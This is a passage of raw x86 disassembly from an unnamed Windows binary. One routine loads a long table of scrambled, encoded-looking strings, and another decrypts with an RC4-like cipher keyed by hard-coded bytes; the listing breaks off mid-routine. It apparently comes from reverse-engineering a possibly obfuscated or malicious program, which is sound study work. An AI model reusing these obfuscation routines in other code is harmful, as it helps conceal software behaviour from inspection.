		push	offset aLjAmKzrtp1 ; "lJ/am/kZRtP1"
		push	esi
		call	sub_415641
		push	offset aXzaru0amxhi_ ; "XZArU0aMxhi."
		push	esi
		call	sub_415641
		push	offset aRa7e2Hhxpf0 ; "rA7E2/hHXPf0"
		push	esi
		call	sub_415641
		add	esp, 40h
		push	offset aRp4sr11cvr1 ; "Rp4sR11CvR1/"
		push	esi
		call	sub_415641
		push	offset aZqrvt0t6nmz_ ; "ZqrVt0t6nmZ."
		push	esi
		call	sub_415641
		push	offset a1shta0bzfwk1 ; "1ShtA0bzFwk1"
		push	esi
		call	sub_415641
		push	offset aAzcsp_hkilo_ ; "AZcsP.hkiLO."
		push	esi
		call	sub_415641
		push	offset aFepmfZswfd ; "FEpMF/ZswFD/"
		push	esi
		call	sub_415641
		push	offset aSud8hRsu8j1 ; "sUd8h/rsu8j1"
		push	esi
		call	sub_415641
		push	offset aJ2yyw_j09xc ; "j2yYw.J09XC/"
		push	esi
		call	sub_415641
		push	offset a43ucs0rkqux_ ; "43uCS0rkQUx."
		push	esi
		call	sub_415641
		add	esp, 40h
		push	offset aJc8j0_blhir0 ; "jC8j0.blHIr0"
		push	esi
		call	sub_415641
		push	offset aPiygc_bgpyh_ ; "PIYGC.BgPyH."
		push	esi
		call	sub_415641
		push	offset a7bqzu_aqz2u_ ; "7bQzU.aQz2u."
		push	esi
		call	sub_415641
		push	offset aSar5v0jloic0 ; "saR5v0JloIc0"
		push	esi
		call	sub_415641
		push	offset aX43mxEgedu_ ; "x43Mx/eGeDu."
		push	esi
		call	sub_415641
		push	offset aIsopf_pu4ty0 ; "IsoPF.PU4tY0"
		push	esi
		call	sub_415641
		push	offset a98mu_Nedn7_ ; "98mu./nEdn7."
		push	esi
		call	sub_415641
		push	offset aVdirq_mjcpx1 ; "vDIrQ.MJcpx1"
		push	esi
		call	sub_415641
		add	esp, 40h
		push	offset aSad25HpR91 ; "Sad25/hP/R91"
		push	esi
		call	sub_415641
		push	offset aVsz2xXqjp5 ; "Vsz2x/xqJP5/"
		push	esi
		call	sub_415641
		push	offset aPnb_aBfzu60_0 ;	"pNb.a/Bfzu60"
		push	esi
		call	sub_415641
		push	offset aI7atf_8Tag1 ; "i7Atf.8/tag1"
		push	esi
		call	sub_415641
		push	offset aDo5oa0u5m7_ ; "dO5oA/0U5m7."
		push	esi
		call	sub_415641
		push	offset aS3dyJzo6r_0 ; "s3dY//JZo6r/"
		push	esi
		call	sub_415641
		push	offset aKe3l20ufrlq0 ; "kE3L20Ufrlq0"
		push	esi
		call	sub_415641
		push	offset aVp1weJvqbn_ ; "VP1WE/JVQbn."
		push	esi
		call	sub_415641
		add	esp, 40h
		push	offset aUaxwg1w8vsp0qr ; "UaxWg1w8vSP0QRn4z10ge1I1"
		push	esi
		call	sub_415641
		push	offset aQbwgd0cfxf_ ; "qbwGd0CFxf./"
		push	esi
		call	sub_415641
		push	offset a2mo7g0_b0qj ; "2mo7G0.B0qj/"
		push	esi
		call	sub_415641
		push	offset a47ff020f_0_ ; "47Ff/020f.0."
		push	esi
		call	sub_415641
		push	offset aHyomeIovtv_ ; "HyOMe/iovtV."
		push	esi
		call	sub_415641
		push	offset aPlsymAee6v1_0 ;	"PlsYM/aEe6v1"
		push	esi
		call	sub_415641
		push	offset aCwxyh0ryouv1 ; "CwXYh0RYoUv1"
		push	esi
		call	sub_415641
		push	offset aEavyh_ic0dc0 ; "eAvYh.IC0dc0"
		push	esi
		call	sub_415641
		add	esp, 40h
		push	offset aUz3rf_vtkug1 ; "uz3rf.VTKug1"
		push	esi
		call	sub_415641
		push	offset aMaeyv0bdsgj0 ; "MAEyv0BdSGj0"
		push	esi
		call	sub_415641
		push	offset aI3ncg_v5u4g_ ; "I3nCG.v5U4g."
		push	esi
		call	sub_415641
		push	offset a9bwj__lz2my0 ; "9bWj..lZ2My0"
		push	esi
		call	sub_415641
		push	offset aRiocl1kztwo0 ; "rioCl1kzTWO0"
		push	esi
		call	sub_415641
		push	offset a_swwg1hqeii1 ; ".SWwg1hqeiI1"
		push	esi
		call	sub_415641


loc_415B66:				; DATA XREF: .text:off_443F18o
		push	offset aG3obv_r6j7h ; "g3obv.r6j7H/"
		push	esi
		call	sub_415641
		push	offset aM5spx_qp7lx_ ; "M5sPX.Qp7Lx."
		push	esi
		call	sub_415641
		add	esp, 40h
		push	offset aItx_n_wpamx_ ; "ITx.N.WPAmx."
		push	esi
		call	sub_415641
		push	offset aLndk50vzcqw0 ; "LNdk50vzCqW0"
		push	esi
		call	sub_415641
		push	offset a9ljbh07crkd_ ; "9lJBH07crkD."
		push	esi
		call	sub_415641
		push	offset aAjttz06ztse1 ; "ajTtz06Ztse1"
		push	esi
		call	sub_415641
		push	offset aUn3hk0sn58o ; "uN3hk0sn58o/"
		push	esi
		call	sub_415641
		push	offset aQrn4z10ge1i1 ; "QRn4z10ge1I1"
		push	esi
		call	sub_415641
		push	offset aBvuso0ed3mw ; "bVUSO0ed3MW/"
		push	esi
		call	sub_415641
		push	offset aM1d_716jg1r1 ; "M1d.716Jg1r1"
		push	esi
		call	sub_415641
		add	esp, 40h
		push	offset a6x2ka0buubb_ ; "6x2Ka0buUbB."
		push	esi
		call	sub_415641
		push	offset aUqyil_iyvpi_ ; "uQYiL.iYvpI."
		push	esi
		call	sub_415641
		push	offset a4qyyh1q2ps1 ; "4QyYH1q/2ps1"
		push	esi
		call	sub_415641
		push	offset aZgidu12tiv0 ; "ZGidU12tiV0/"
		push	esi
		call	sub_415641
		push	offset aHgcrw_cwuf5_ ; "HGCRW.CWUF5."
		push	esi
		call	sub_415641
		push	offset aGztle_nhywf ; "gzTlE.nhywf/"
		push	esi
		call	sub_415641
		push	offset aTvjro1ubgtg1 ; "TVJrO1uBGtg1"
		push	esi
		call	sub_415641
		push	offset aL80reUvcue1 ; "l80re/UvCUe1"
		push	esi
		call	sub_415641
		add	esp, 40h
		push	offset aVxa_uCdd7s0 ; "VXA.u/cDD7S0"
		push	esi
		call	sub_415641
		push	offset aH1cmq0wqw5c_ ; "h1cMQ0wQw5C."
		push	esi
		call	sub_415641
		push	offset aSxytb1_eejq_ ; "SXYtb1.EEjQ."
		push	esi
		call	sub_415641
		push	offset aVb1r0N_arr0 ; "vB1r0/N.Arr0"
		push	esi
		call	sub_415641
		push	offset a8im6i__c829_ ; "8Im6i..C829."
		push	esi
		call	sub_415641
		push	offset aTiyj208fhvn_ ; "tIYj208FHvN."
		push	esi
		call	sub_415641
		push	offset a5ngN0zjh2i1 ; "5nG/N0ZJh2i1"
		push	esi
		call	sub_415641
		push	offset aMdf9n0kzpx60 ; "mdf9n0kzPX60"
		push	esi
		call	sub_415641
		add	esp, 40h
		push	offset aAtfv_jgk0x1 ; "/ATfv.jgK0X1"
		push	esi
		call	sub_415641
		push	offset aFu6k10irsc1 ; "fu6k10iRsc/1"
		push	esi
		call	sub_415641
		push	offset a_luua_bruje0 ; ".lUua.bruje0"
		push	esi
		call	sub_415641
		push	offset aKzqshDhric_ ; "kzqSH/dhRIc."
		push	esi
		call	sub_415641
		push	offset aUycsBekwp0 ; "/uYcs/BEKWP0"
		push	esi
		call	sub_415641
		push	offset aWwfbf_0ptze_ ; "WWFBf.0ptzE."
		push	esi
		call	sub_415641
		push	offset aFhzdv1ootfg0 ; "fhzdV1OotFg0"
		push	esi
		call	sub_415641
		push	offset aUmk7x0pwyw9Qrn ; "Umk7x0PwyW9/QRn4z10ge1I1"
		push	esi
		call	sub_415641
		add	esp, 40h
		push	offset aHpmch0pbq800 ; "HPmCH0PbQ800"
		push	esi
		call	sub_415641
		push	offset aUfbss0cbo8c__0 ; "uFbSS0Cbo8C."
		push	esi
		call	sub_415641
		push	offset aNoazx1alvg0 ; "NoaZx1Alvg/0"
		push	esi
		call	sub_415641
		push	offset a7fugu_n0u2m1 ; "7FUgU.N0U2m1"
		push	esi
		call	sub_415641
		push	offset aW3dwl46o0u0 ; "w3dWL/46o0u0"
		push	esi
		call	sub_415641
		push	offset aUbqs_hzpkh1 ; "/uBQS.HZPkh1"
		push	esi
		call	sub_415641
		push	offset a6x7zf1eztny_ ; "6x7zf1EztnY."
		push	esi
		call	sub_415641
		push	offset a7otcu0fic6v0 ; "7otcU0FiC6V0"
		push	esi
		call	sub_415641
		add	esp, 40h
		push	offset aFyflu0ji3xh_ ; "FyFlU0jI3XH."
		push	esi
		call	sub_415641
		push	offset aDnjyk0fwki__ ; "dnjYk0fWkI.."
		push	esi
		call	sub_415641
		push	offset aXmz20Gjkq ; "xMz20//gJkQ/"
		push	esi
		call	sub_415641
		push	offset aNhr6r0qsk450 ; "nHr6r0qsk450"
		push	esi
		call	sub_415641
		push	offset aX_62c_3ldcp ; "X.62C.3LDCP/"
		push	esi
		call	sub_415641
		push	offset aWt4rnWgl6v_ ; "wt4Rn/WGL6V."
		push	esi
		call	sub_415641
		push	offset aImvbw1shwxq0 ; "iMvbW1SHwxQ0"
		push	esi
		call	sub_415641
		push	offset a4h4m_q_guy_ ; "4h4m/.Q.GUy."
		push	esi
		call	sub_415641
		add	esp, 40h
		push	offset aPsern1aagh6_ ; "pSern1AAGh6."
		push	esi
		call	sub_415641
		push	offset aXkg84_cesgs_ ; "XkG84.cESgs."
		push	esi
		call	sub_415641
		push	offset aUyfog_dvvny0 ; "UyfOG.DvVnY0"
		push	esi
		call	sub_415641
		push	offset aP06vqBfbmo_ ; "p06vq/BFBMo."
		push	esi
		call	sub_415641
		push	offset a3vvsv1vurua ; "3VVsV1VuRUA/"
		push	esi
		call	sub_415641
		push	offset aW1w2v121jsp_ ; "w1w2V121JSP."
		push	esi
		call	sub_415641
		push	offset aVz62d1m0yya ; "Vz62d1m0Yya/"
		push	esi
		call	sub_415641
		push	offset aF4c9z1ubcg80 ; "F4c9z1UBCg80"
		push	esi
		call	sub_415641
		add	esp, 40h
		push	offset a2yclo0srxpi ; "2YClO0SRxpi/"
		push	esi
		call	sub_415641
		push	offset aH3yh9_xq_s2_ ; "h3YH9.Xq.S2."
		push	esi
		call	sub_415641
		push	offset aIwbkf0o1om6Qrn ; "IwBKf0O1Om6/QRn4z10ge1I1"
		push	esi
		call	sub_415641
		push	offset aKmdie1uwntq ; "KmdIe1UwntQ/"
		push	esi
		call	sub_415641
		push	offset aUpx0wCz2ei0qrn ; "UPx0W/cz2EI0QRn4z10ge1I1"
		push	esi
		call	sub_415641
		push	offset aV6jbh0k4uD_ ; "V6jBH0k4u/d."
		push	esi
		call	sub_415641
		push	offset aB2smo_whkew_qr ; "B2smo.WHkeW.QRn4z10ge1I1"
		push	esi
		call	sub_415641
		push	offset aVxg7n_qbmg90aa ; "vXG7N.qBMG90aA/Td0EX07M1"
		push	esi
		call	sub_415641
		add	esp, 40h
		push	offset aEm42x_1iszi1 ; "Em42x.1IsZI1"
		push	esi
		call	sub_415641
		push	offset aErnniHm17t1qrn ; "ERNNi/HM17T1QRn4z10ge1I1"
		push	esi
		call	sub_415641
		push	offset aQ5l5f_2to_60 ; "q5l5f.2TO.60"
		push	esi
		call	sub_415641
		push	offset aJbkl4Fbwcf1 ; "jBKL4/FbWCF1"
		push	esi
		call	sub_415641
		push	offset aW3gp6_13acy1_0 ; "W3GP6.13AcY1"
		push	esi
		call	sub_415641
		push	offset aM08se_kt9td1 ; "M08SE.Kt9tD1"
		push	esi
		call	sub_415641
		push	offset a3eowx2ocng ; "3eowX/2OCnG/"
		push	esi
		call	sub_415641
		push	offset aS3dyJzo6r ; "s3dY//JZo6r/"
		push	esi
		call	sub_415641
		add	esp, 40h
		push	offset aUwher1dagd80 ; "UWher1DAGD80"
		push	esi
		call	sub_415641
		push	offset aPnb_aBfzu60 ; "pNb.a/Bfzu60"
		push	esi
		call	sub_415641
		push	offset aZu2s6_o7_yt ; "Zu2s6.O7.yt/"
		push	esi
		call	sub_415641
		push	offset a4hftz6holr ; "4hftZ/6HOlR/"
		push	esi
		call	sub_415641
		push	offset aYqrdp_9rf4u0 ; "yqrdP.9rF4U0"
		push	esi
		call	sub_415641
		push	offset a1uyis15kh_n1 ; "1UyIs15KH.n1"
		push	esi
		call	sub_415641
		push	offset a9ljbh07crkd__0 ; "9lJBH07crkD."
		push	esi
		call	sub_415641
		push	offset aD0ron_ctdg0_ ; "D0roN.CTDg0."
		push	esi
		call	sub_415641
		add	esp, 40h
		push	offset aFr8ri0f9nfz_ ; "fr8ri0f9NfZ."
		push	esi
		call	sub_415641
		push	offset aWbzcx0Dknt_ ; "wbZcx0/Dknt."
		push	esi
		call	sub_415641
		push	offset aNyjsr1cv5ch0 ; "NyJsR1cV5CH0"
		push	esi
		call	sub_415641
		push	offset aI6sd4ctzn0 ; "/I6sD/4CTzn0"
		push	esi
		call	sub_415641
		push	offset aWrlthN3uh_1 ; "WRlth/n3Uh.1"
		push	esi
		call	sub_415641
		push	offset aYqjsn0wtutn1 ; "yQJsn0wtUtn1"
		push	esi
		call	sub_415641
		push	offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
		push	esi
		call	sub_415641
		push	offset aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1"
		push	esi
		call	sub_415641
		add	esp, 40h
		push	offset aFfec81uznt81 ; "fFEC81UzNT81"
		push	esi
		call	sub_415641
		push	offset aJvatg1988z81 ; "jVATg1988z81"
		push	esi
		call	sub_415641
		push	offset aPrttt0s3ag916n ; "pRTtT0s3aG916N5aw.affEY1"
		push	esi
		call	sub_415641
		push	offset aHm1h_049e4o ; "Hm1H.049e4O/"
		push	esi
		call	sub_415641
		push	offset aWj27_1belx20 ; "wj27.1Belx20"
		push	esi
		call	sub_415641
		push	offset aAl_N0kenp20 ; "Al./N0Kenp20"
		push	esi
		call	sub_415641
		push	offset a6h4nn1igjm60 ; "6h4NN1IGJm60"
		push	esi
		call	sub_415641
		push	offset aUr6ne_mot50_ ; "Ur6ne.MOT50."
		push	esi
		call	sub_415641
		add	esp, 40h
		push	offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		push	esi
		call	sub_415641
		push	offset aXlpyr1anpgm0 ; "xLpyR1aNPGm0"
		push	esi
		call	sub_415641
		push	offset aWpukb_0uioaOfu ; "WPUkb.0uIoa/OFUur11TNYw0"
		push	esi
		call	sub_415641
		push	offset aC4dd9_nojvo1 ; "C4dD9.nojvO1"
		push	esi
		call	sub_415641
		push	offset aJt17j1imtvd1 ; "jt17J1ImTVD1"
		push	esi
		call	sub_415641
		push	offset aLtlec18us5q0 ; "LTLec18US5q0"
		push	esi
		call	sub_415641
		push	offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1"
		push	esi
		call	sub_415641
		push	offset a7_pak0onymn7ra ; "7.PaK0OnymN/7Razv/1FefF."
		push	esi
		call	sub_415641
		add	esp, 40h
		push	offset aWhdag1glagf_ ; "WHdAg1glAgf."
		push	esi
		call	sub_415641
		push	offset aLmecq0ygcok ; "lmecq0yGcoK/"
		push	esi
		call	sub_415641
		push	offset aRccsh_adukf1 ; "RcCSh.AdUKf1"
		push	esi
		call	sub_415641
		push	offset aXu6cu1p_sn6_6n ; "XU6CU1p.SN6.6N5aw.affEY1"
		push	esi
		call	sub_415641
		push	offset aHuudgYqzdz ; "HuuDG/YQZDz/"
		push	esi
		call	sub_415641
		push	offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1"
		push	esi
		call	sub_415641
		push	offset aPtami1_agv ; "PTaMI1/.aGV/"
		push	esi
		call	sub_415641
		push	offset aUhdhc1pcv9i ; "uhdhC1pCV9i/"
		push	esi
		call	sub_415641
		add	esp, 40h
		push	offset aWulzr_x7xjb0 ; "WUlZR.X7XjB0"
		push	esi
		call	sub_415641
		push	offset aBjatzQyrs11 ; "BjAtz/qyRS11"
		push	esi
		call	sub_415641
		push	offset aBvygm_afzkh0 ; "BVYGm.aFzkh0"
		push	esi
		call	sub_415641
		push	offset aLcgg60qk2mf0 ; "Lcgg60QK2mf0"
		push	esi
		call	sub_415641
		push	offset aYhzck13caog0 ; "YhzCK13CaOG0"
		push	esi
		call	sub_415641
		push	offset aAxauo_rlggx0 ; "aXauo.rLGgX0"
		push	esi
		call	sub_415641
		push	offset aXwzwo1pqcgt16n ; "XWzwO1PqcgT16N5aw.affEY1"
		push	esi
		call	sub_415641
		push	offset aVfeso_qcgdt_ ; "vfEsO.QcgDt."
		push	esi
		call	sub_415641
		add	esp, 40h
		push	offset aSsoce0jbtxi ; "sSOce0JbTXI/"
		push	esi
		call	sub_415641
		push	offset aXiw8_1hhx7d1 ; "Xiw8.1HHX7d1"
		push	esi
		call	sub_415641
		push	offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
		push	esi
		call	sub_415641
		push	offset a5oke1awbzq ; "5OkE/1AWBZq/"
		push	esi
		call	sub_415641
		push	offset aIhfnL6b5x ; "/iHFN/l6B5X/"
		push	esi
		call	sub_415641
		push	offset aAsqfy_k1uah0 ; "AsQfy.K1uah0"
		push	esi
		call	sub_415641
		push	offset aBnjcz_zig1m0 ; "bNJcZ.ziG1m0"
		push	esi
		call	sub_415641
		push	offset aSfe3h0kclgx0 ; "SFe3H0kCLgx0"
		push	esi
		call	sub_415641
		add	esp, 40h
		push	offset aYdidb16dnmq_ ; "YdidB16dnMQ."
		push	esi
		call	sub_415641
		push	offset aQvdspRbq6w0 ; "QvDsp/rBQ6w0"
		push	esi
		call	sub_415641
		push	offset aVv3aj1ywfkc_xz ; "VV3AJ1ywFkC.XzinP/s/R0A."
		push	esi
		call	sub_415641
		push	offset aNd4qzY5xml0rna ; "nD4Qz/y5xMl0RNAQI05pV11/XzinP/s/R0A."
		push	esi
		call	sub_415641
		push	offset aRy6iq0udbph ; "RY6IQ0UDbPh/"
		push	esi
		call	sub_415641
		push	offset aW3nki_guvjx ; "w3NKI.gUvJx/"
		push	esi
		call	sub_415641
		push	offset aRy6iq0udbphLlD ; "RY6IQ0UDbPh/LL/Dw.r3B9K/"
		push	esi
		call	sub_415641
		push	offset aRy6iq0udbphN2n ; "RY6IQ0UDbPh/N2NHs/pc9zb/8Wb3v063Ds00"
		push	esi
		call	sub_415641
		add	esp, 40h
		push	offset a8cbgoRjryr_ ; "8CBGO/rJRYr."
		push	esi
		call	sub_415641
		push	offset aKbwmi16jfhl ; "KbwMi16jFhl/"
		push	esi
		call	sub_415641
		push	offset aIde746o6B_ ; "Ide74/6o6/B."
		push	esi
		call	sub_415641
		push	offset aY2lm40nv3yaP4m ; "Y2LM40Nv3Ya/p4MrM1AZiAp1eUok8/eobtx1"
		push	esi
		call	sub_415641
		push	offset a7zfry0iusme1 ; "7Zfry0IUSmE1"
		push	esi
		call	sub_415641
		push	offset a_9fty1n2tM_ ; ".9ftY1N2T/m."
		push	esi
		call	sub_415641
		push	offset aVxppy0owq7d ; "VxPpy0owQ7D/"
		push	esi
		call	sub_415641
		push	offset aW50oj_ac8ak0 ; "w50OJ.ac8AK0"
		push	esi
		call	sub_415641
		add	esp, 40h
		push	offset aVgh9x1uWay0 ; "VgH9X1u/wAY0"
		push	esi
		call	sub_415641
		push	offset aEih0f1gakfp0 ; "EiH0f1GakFP0"
		push	esi
		call	sub_415641
		push	offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C."
		push	esi
		call	sub_415641
		push	offset aLvk_hHddio0 ; "Lvk.H/hddio0"
		push	esi
		call	sub_415641
		push	offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0"
		push	esi
		call	sub_415641
		push	offset aAqq27_7qqv10 ; "AQQ27.7qQv10"
		push	esi
		call	sub_415641
		push	offset a2Afm0dt3o6_ ; "2/Afm0dt3o6."
		push	esi
		call	sub_415641
		push	offset aQvp40nd9f2 ; "/qvP40nD9F2/"
		push	esi
		call	sub_415641
		add	esp, 40h
		push	offset aMkk0_mvscp_hwh ; "mKK0/.MVScP.hwHKV/Er1cB0ZvOBu/66U/i/nNp"...
		push	esi
		call	sub_415641
		push	offset aShktk1eNl8Jlzt ; "sHKtk1e/Nl8/jLZte1JtI/t1"
		push	esi
		call	sub_415641
		push	offset aZcm1__num3n0oe ; "ZcM1..nUM3N0OE819.1TEYD."
		push	esi
		call	sub_415641
		push	offset a5_xnq0cowxs0 ; "5.Xnq0cowXs0"
		push	esi
		call	sub_415641
		push	offset a8y4sz09fdh50tc ; "8Y4sz09fDH50tccap0cH5OH0/mDXM1sxCV2/iNR"...
		push	esi
		call	sub_415641
		push	offset aRnyaa0crtpo0yy ; "RNYAA0crTPO0yYB2h.Fe8bw.iRLzu0EdQ3j/1D6"...
		push	esi
		call	sub_415641
		push	offset aEuior0ay2w7_ ; "EUIOR0ay2w7."
		push	esi
		call	sub_415641
		push	offset aTfee90w_vdg1u8 ; "TFEE90W.vdG1u8Ajp1eidrT.d2k2X/no6gm/"
		push	esi
		call	sub_415641
		add	esp, 40h
		push	offset aIbtox1Hofe0hcx ; "IBtOx1/HOfe0Hcxmb/oUlVg00eWuQ.F61Hj/"
		push	esi
		call	sub_415641
		push	offset aTpzyk0moe8_0jt ; "TpzyK0MOE8.0jTPEZ1dC0uG0"
		push	esi
		call	sub_415641
		push	offset a4ezrg1ye5hp1o2 ; "4Ezrg1ye5hp1O2jqY1BhtQc.jTPEZ1dC0uG0"
		push	esi
		call	sub_415641
		push	offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
		push	esi
		call	sub_415641
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		push	esi
		call	sub_415641
		push	offset a2ms3c_kjtek0 ; "2MS3c.kJTeK0"
		push	esi
		call	sub_415641
		push	offset aOgyzo1Qmpy1 ; "OGyZo1/qmpy1"
		push	esi
		call	sub_415641
		push	offset aNI427pnt0 ; "n/i4//27pnT0"
		push	esi
		call	sub_415641
		add	esp, 40h
		push	offset aXg4wo0gh6fy0p9 ; "xg4wO0Gh6FY0p9CIj.BYYVY."
		push	esi
		call	sub_415641
		push	offset aTarxm0mtxpp_ ; "tArXm0mtxpp."
		push	esi
		call	sub_415641
		push	offset aQ3bef_grjcn1aa ; "Q3BEf.grJCN1aA/Td0EX07M1"
		push	esi
		call	sub_415641
		push	offset aPJs70eukyp0 ; "P/JS70EukYp0"
		push	esi
		call	sub_415641
		push	offset aUDneTzo8s_omqd ; "u/DnE/tzo8s.OMQDW1DERIa/"
		push	esi
		call	sub_415641
		push	offset a2n67h0pevch1 ; "2n67H0PEVch1"
		push	esi
		call	sub_415641
		push	offset a5v1zc1efrzg_tc ; "5v1zc1EfRZg.tccap0cH5OH0NHckR.k9Wj.1"
		push	esi
		call	sub_415641
		push	offset a6f3al1m_ydx05y ; "6f3aL1m.YdX05ythl/YiVnR/jSlje0VWu/50peq"...
		push	esi
		call	sub_415641
		add	esp, 40h
		push	offset a3un9w_temux_5y ; "3Un9W.TEMuX.5ythl/YiVnR/J9IiO.VPA7i1"
		push	esi
		call	sub_415641
		push	offset a7nmru1owjrg0md ; "7NmRu1oWjRG0Md/AN15kOfy.nR01m1pzFKu1"
		push	esi
		call	sub_415641
		push	offset aNeuf6qyoiMdAn1 ; "NEuF//6QYOi/Md/AN15kOfy.nR01m1pzFKu1"
		push	esi
		call	sub_415641
		push	offset aNxruj_viib6 ; "nxruJ.vIib6/"
		push	esi
		call	sub_415641
		push	offset a5gcpxGycn21n1z ; "5GCpx/gYCn21N1Zsj.w3Ty30"
		push	esi
		call	sub_415641
		push	offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95."
		push	esi
		call	sub_415641
		push	offset aPimgt12pvee_ ; "pImgT12pvEE."
		push	esi
		call	sub_415641
		push	offset aJgyqn0dmzir12z ; "jgYqN0dmziR12zQe40gFoLm.rilJR.uuL/I0"
		push	esi
		call	sub_415641
		add	esp, 40h
		push	offset aAqejv_njvii_y8 ; "aQeJV.nJvIi.y8Ri./b5L.q."
		push	esi
		call	sub_415641
		pop	ecx
		pop	ecx
		pop	esi
		retn
sub_41567F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4163BB	proc near		; CODE XREF: sub_416596+18p
					; sub_416596+30p ...

var_394		= byte ptr -394h
var_1EC		= byte ptr -1ECh
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_3F		= byte ptr -3Fh
var_3E		= byte ptr -3Eh
var_3D		= byte ptr -3Dh
var_3C		= byte ptr -3Ch
var_3B		= byte ptr -3Bh
var_3A		= byte ptr -3Ah
var_39		= byte ptr -39h
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_36		= byte ptr -36h
var_35		= byte ptr -35h
var_34		= byte ptr -34h
var_33		= byte ptr -33h
var_32		= byte ptr -32h
var_31		= byte ptr -31h
var_30		= byte ptr -30h
var_2F		= byte ptr -2Fh
var_2E		= byte ptr -2Eh
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= byte ptr -2Ah
var_29		= byte ptr -29h
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= byte ptr -26h
var_25		= byte ptr -25h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= byte ptr -22h
var_21		= byte ptr -21h
var_20		= byte ptr -20h
var_1F		= byte ptr -1Fh
var_1E		= byte ptr -1Eh
var_1D		= byte ptr -1Dh
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		push	ebx
		push	esi
		lea	eax, [ebp+var_40]
		push	edi
		xor	ebx, ebx
		push	eax
		xor	edi, edi
		mov	[ebp+var_40], 0Ah
		mov	[ebp+var_3F], 0Eh
		mov	[ebp+var_3E], 20h
		mov	[ebp+var_3D], 48h
		mov	[ebp+var_3C], 0Bh
		mov	[ebp+var_3B], 2Bh
		mov	[ebp+var_3A], 0Ch
		mov	[ebp+var_39], 23h
		mov	[ebp+var_38], 3Ah
		mov	[ebp+var_37], 27h
		mov	[ebp+var_36], 28h
		mov	[ebp+var_35], 5Eh
		mov	[ebp+var_34], 2Ah
		mov	[ebp+var_33], 1Eh
		mov	[ebp+var_32], 2Dh
		mov	[ebp+var_31], 5Ah
		mov	[ebp+var_30], 1Bh
		mov	[ebp+var_2F], 0Fh
		mov	[ebp+var_2E], 4Ch
		mov	[ebp+var_2D], 44h
		mov	[ebp+var_2C], 16h
		mov	[ebp+var_2B], 4
		mov	[ebp+var_2A], 57h
		mov	[ebp+var_29], 23h
		mov	[ebp+var_28], 11h
		mov	[ebp+var_27], 53h
		mov	[ebp+var_26], 38h
		mov	[ebp+var_25], 13h
		mov	[ebp+var_24], 0Dh
		mov	[ebp+var_23], 12h
		mov	[ebp+var_22], 25h
		mov	[ebp+var_21], 1Ch
		mov	[ebp+var_20], 30h
		mov	[ebp+var_1F], 12h
		mov	[ebp+var_1E], 50h
		mov	[ebp+var_1D], 4Fh
		mov	[ebp+var_1C], 39h
		mov	[ebp+var_1B], 10h
		mov	[ebp+var_1A], 42h
		mov	[ebp+var_19], 1Fh
		mov	[ebp+var_18], 37h
		mov	[ebp+var_17], 1Dh
		mov	[ebp+var_16], 41h
		mov	[ebp+var_15], 55h
		mov	[ebp+var_14], 2Ch
		mov	[ebp+var_13], 41h
		mov	[ebp+var_12], 2Ch
		mov	[ebp+var_11], 5Dh
		mov	[ebp+var_10], bl
		call	sub_4293A0
		mov	esi, 1A5h
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+var_1EC]
		push	ebx
		push	eax
		call	sub_429760
		push	esi
		lea	eax, [ebp+var_394]
		push	ebx
		push	eax
		call	sub_429760
		add	esp, 1Ch
		xor	eax, eax
		mov	ecx, 1A4h


loc_4164C5:				; CODE XREF: sub_4163BB+114j
		mov	[ebp+eax+var_1EC], al
		inc	eax
		cmp	eax, ecx
		jb	short loc_4164C5
		xor	esi, esi


loc_4164D3:				; CODE XREF: sub_4163BB+12Ej
		cmp	edi, [ebp+var_C]
		jnz	short loc_4164DA
		xor	edi, edi


loc_4164DA:				; CODE XREF: sub_4163BB+11Bj
		mov	al, [ebp+edi+var_40]
		inc	edi
		mov	[ebp+esi+var_394], al
		inc	esi
		cmp	esi, ecx
		jb	short loc_4164D3
		xor	edx, edx
		xor	edi, edi


loc_4164EF:				; CODE XREF: sub_4163BB+168j
		movzx	ebx, [ebp+edi+var_394]
		lea	esi, [ebp+edi+var_1EC]
		add	edx, ebx
		mov	ebx, ecx
		mov	al, [esi]
		mov	[ebp+var_1], al
		movzx	eax, al
		add	eax, edx
		xor	edx, edx
		div	ebx
		inc	edi
		cmp	edi, ecx
		lea	eax, [ebp+edx+var_1EC]
		mov	bl, [eax]
		mov	[esi], bl
		mov	bl, [ebp+var_1]
		mov	[eax], bl
		jb	short loc_4164EF
		xor	eax, eax
		cmp	[ebp+arg_4], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		jbe	short loc_416591
		jmp	short loc_416537
; ---------------------------------------------------------------------------


loc_416534:				; CODE XREF: sub_4163BB+1D4j
		mov	eax, [ebp+var_44]


loc_416537:				; CODE XREF: sub_4163BB+177j
		inc	eax
		xor	edx, edx
		mov	esi, ecx
		mov	edi, ecx
		div	esi
